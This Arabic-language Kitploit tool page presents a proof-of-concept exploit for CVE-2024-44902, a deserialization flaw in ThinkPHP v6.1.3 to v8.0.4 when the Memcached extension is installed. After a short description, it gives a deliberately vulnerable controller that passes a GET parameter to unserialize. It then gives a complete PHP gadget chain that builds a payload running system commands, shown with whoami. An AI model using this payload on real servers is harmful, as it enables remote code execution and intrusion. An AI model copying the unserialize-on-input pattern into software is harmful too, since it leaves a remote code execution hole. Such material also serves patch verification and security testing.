Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-44902 — استغلال إثبات المفهوم لـ CVE-2024-44902، وهي ثغرة إلغاء التسلسل في ThinkPHP الإصدارات v6.1.3 إلى v8.0.4 تتيح تنفيذ التعليمات البرمجية عن بُعد عبر حمولات مصممة عند تثبيت ملحق Memcached. | Kitploit
أدوات/GitHubGitHub/fru1ts/cve-2024-44902
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubfru1ts/cve-2024-44902

CVE-2024-44902

استغلال إثبات المفهوم لـ CVE-2024-44902، وهي ثغرة إلغاء التسلسل في ThinkPHP الإصدارات v6.1.3 إلى v8.0.4 تتيح تنفيذ التعليمات البرمجية عن بُعد عبر حمولات مصممة عند تثبيت ملحق Memcached.

عرض المستودع
62منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-44902

وصف الثغرة الأمنية

تسمح ثغرة أمنية في إلغاء التسلسل (deserialization) في Thinkphp v6.1.3 إلى v8.0.4 للمهاجمين بتنفيذ تعليمات برمجية عشوائية.

الإصدارات المتأثرة

Thinkphp v6.1.3 إلى v8.0.4

شرط الاستغلال

يجب أن يكون إطار العمل thinkphp مثبتًا عليه إضافة Memcached.

إثبات الثغرة

  • بيئة الاختبار: php8.0.7+thinkphp8.0.4+memcached3.2.0.

أولاً، أضف نقطة نهاية جديدة لإلغاء التسلسل في app\controller\Index.php، على سبيل المثال:

root@kitploit:~
<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        unserialize($_GET['x']);
        return '<style>*{ padding: 0; margin: 0; }</style>';
    }

    public function hello($name = 'ThinkPHP8')
    {
        return 'hello,' . $name;
    }
}

يمكنك إنشاء الحمولة (payload) من:

root@kitploit:~
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
    protected $options=[];
    function __construct()
    {
        $this->options["username"]=new Pivot();
    }
}

namespace think\model;
use think\model;
class Pivot extends Model
{

}

namespace think;
abstract class Model{
    private $data = [];
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = true;
    function __construct()
    {
        $this->data["fru1ts"]=["whoami"];
        $this->withAttr["fru1ts"]=["system"];
        $this->json=["fru1ts"];
    }
}

namespace think\route;
use think\DbManager;
class ResourceRegister
{
    protected $registered = false;
    protected $resource;
    function __construct()
    {
        $this->registered=false;
        $this->resource=new DbManager();
    }
}
namespace think;
use think\model\Pivot;
class DbManager
{
    protected $instance = [];
    protected $config = [];
    function __construct()
    {
        $this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
        $this->config["default"]="getRule";
    }
}

use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));

استخدام الحمولة لإلغاء التسلسل يمكن أن يؤدي إلى تنفيذ تعليمات برمجية عن بعد (RCE):

image-20240905234416317

تنزيل الأداة